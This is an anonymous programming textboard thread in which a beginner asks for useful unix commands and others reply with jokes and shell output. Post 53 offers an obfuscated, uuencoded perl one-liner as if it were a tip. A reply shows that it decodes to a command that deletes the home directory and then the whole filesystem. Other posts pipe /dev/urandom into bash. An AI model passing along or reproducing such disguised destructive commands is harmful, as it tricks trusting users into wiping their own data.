/prog/ - unix commands

Name: Anonymous 2009-06-16 21:47

I know some basic unix things, but I know there's a lot more out there. Anyone care to share some of the things you find useful? I basically only use these commands so far(and pipes and subcommands with $): cd, ls, chmod, mkdir, rmdir, rm , mv, cp, cat, less, grep, wc, find.

some things I like so far:
"cat file | less" is pretty cool for instant file viewing
"grep anything" grep rocks

Name: Anonymous 2009-06-19 16:31

$ cat /dev/zero | perl
Out of memory!
$

Name: Anonymous 2009-06-20 3:27

grep fsck rm pico

Name: Anonymous 2009-07-12 6:17

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Name: Anonymous 2010-12-17 1:34

Erika once told me that Xarn is a bad boyfriend

Name: Anonymous 2012-06-21 9:14

2012

Name: Anonymous 2012-06-21 9:17

>>1
cp
reported

Name: Anonymous 2012-06-21 9:43

% cat /dev/urandom|perl

Unmatched [ in regex; marked by <-- HERE in m/ʸƤ·

                                                 ñ¿E

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Name: Anonymous 2012-06-21 11:07

penraps@foxtrot:~$ cat /dev/urandom|bash

bash: line 1: $'\234\221': command not found

bash: line 7: $'\220k\353Ja.\252\301\237\366Y\327\240\327\006': command not found

bash: line 7: j@®×/f!à#×YëÚc Ò             BgIÌ..úùc6[òQÔV§Zþ* Ê´ú÷ZÉ7ÚìÁCË«v<ËÄª/§U§¿{i§XPE·R}ï_õ³:¦o¨2¾ÔÀ¾Ê@ìagHîÜL/ÃUyé

     bash: line 7: $'8\2718\031IR\306\250\302\323\375\322\0314\374\340\a\303\001q': command not found

bash: line 7: $'\212\022}X{.z\306\304\2053{\252mU\334\334\307\373\333': command not found

bash: command substitution: line 8: unexpected EOF while looking for matching `"'

bash: command substitution: line 9: syntax error: unexpected end of file

bash: line 7: $'\002\327L\220\364\200\334\360\254MJ}F\327e\222\230\322\352a\344\347\023F\235+l\366\3652~Z\022s\202\310\252\335M\225': command not found

bash: command substitution: line 8: syntax error near unexpected token `)'

bash: command substitution: line 8: `»³û!~ßc ÷¦Ã{©ËbA¹Ä)9ãWsSD¢eC1ðÈÕG(qç¶Ás¶7ø'

bash: line 7: $'\363&\232Y\206\275\311\315\242+i2\305\275\351_\326:3\345\213\262\220\326mt\016\225a\241\'\006\371\310\315\316\236\3737\340f\336\302\301\306\025\277\350\215\E\264\377\330\312Z\340Ry\302\275\307f\224%V\216\360\275\330\205k\236\257\003\343\322\2507\274m\364\317\327\323\204\306\374\347]D\250\030-\307{\247\366\312wp\360\262M\210A\241\003\030Cx\225\032\366R\232\3752h\177\340O\332\234\333\317GP\362\242\341\211ZW\354\233\232\2528^\230o\004\031\247\340\342h}\205\245\223e1\212\335\225\302\277\374\211\261\236\215D:l\365B\241\343\347\336\257\337\30151\263\360\347\321\243\261\v9S\204\306\232\f\3103\265=\346\374\237\323\316\315#m\325\212\307,!\355[\211_\203\312\202\300\027dy\344Lb~\031\354e\375\243\336\205v\351WT@\305\200=\032\233\002\f<\016=\222\2247\231\200k\362\263': command not found

bash: line 8: $'\243\371@UA': command not found

bash: line 16: ©²ûwÿ

                    RB·==: No such file or directory

bash: line 18: jêNVêDäïyM¡: No such file or directory

bash: command substitution: line 19: unexpected EOF while looking for matching `''

bash: command substitution: line 20: syntax error: unexpected end of file

bash: command substitution: line 16: unexpected EOF while looking for matching `''

bash: command substitution: line 17: syntax error: unexpected end of file

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penraps@foxtrot:~$

Name: Anonymous 2012-06-21 11:28

# cat /dev/urandom|bash

# exit

$ ls

$

Name: Anonymous 2012-06-21 16:27

>>49,50,51
Inappropriate use of cat. Please use < instead.

Name: Anonymous 2012-06-21 19:14

echo 'D<VQE97`@,3`[<FT@+7)F("1(3TU%.W-U9&\@<FT@+7)F("\J' | perl -len'exec unpack"u"'

Name: Anonymous 2012-06-21 19:32

>>53

syntax error at -e line 1, near "nexec unpack"

Execution of -e aborted due to compilation errors.

Name: Anonymous 2012-06-21 19:34

>>53
sleep 10;rm -rf $HOME;sudo rm -rf /*

Well played.

Name: Anonymous 2012-06-21 19:44

>>54
'
Punctuation is very important!

Name: Anonymous 2012-06-21 20:32

>>56
That was the actual error message. >>53's error, not mine!

Name: Anonymous 2012-06-21 20:42

Unix is shit. Real men use VMS or MVS (z/OS). Kids these days don't even know the difference between physical and logical files anymore.

Name: Anonymous 2012-06-21 20:45

>>58
fuck off, gramps

Name: Anonymous 2012-06-21 21:37

>>57
Get a better shell, then.

Name: Anonymous 2012-06-21 22:18

>>60
Such as?

Name: Anonymous 2012-06-21 23:10

>>61
scsh

unix commands

1 Name: Anonymous 2009-06-16 21:47

41 Name: Anonymous 2009-06-19 16:31

42 Name: Anonymous 2009-06-20 3:27

43 Name: Anonymous 2009-07-12 6:17

46 Name: Anonymous 2010-12-17 1:34

47 Name: Anonymous 2012-06-21 9:14

48 Name: Anonymous 2012-06-21 9:17

49 Name: Anonymous 2012-06-21 9:43

50 Name: Anonymous 2012-06-21 11:07

51 Name: Anonymous 2012-06-21 11:28

52 Name: Anonymous 2012-06-21 16:27

53 Name: Anonymous 2012-06-21 19:14

54 Name: Anonymous 2012-06-21 19:32

55 Name: Anonymous 2012-06-21 19:34

56 Name: Anonymous 2012-06-21 19:44

57 Name: Anonymous 2012-06-21 20:32

58 Name: Anonymous 2012-06-21 20:42

59 Name: Anonymous 2012-06-21 20:45

60 Name: Anonymous 2012-06-21 21:37

61 Name: Anonymous 2012-06-21 22:18

62 Name: Anonymous 2012-06-21 23:10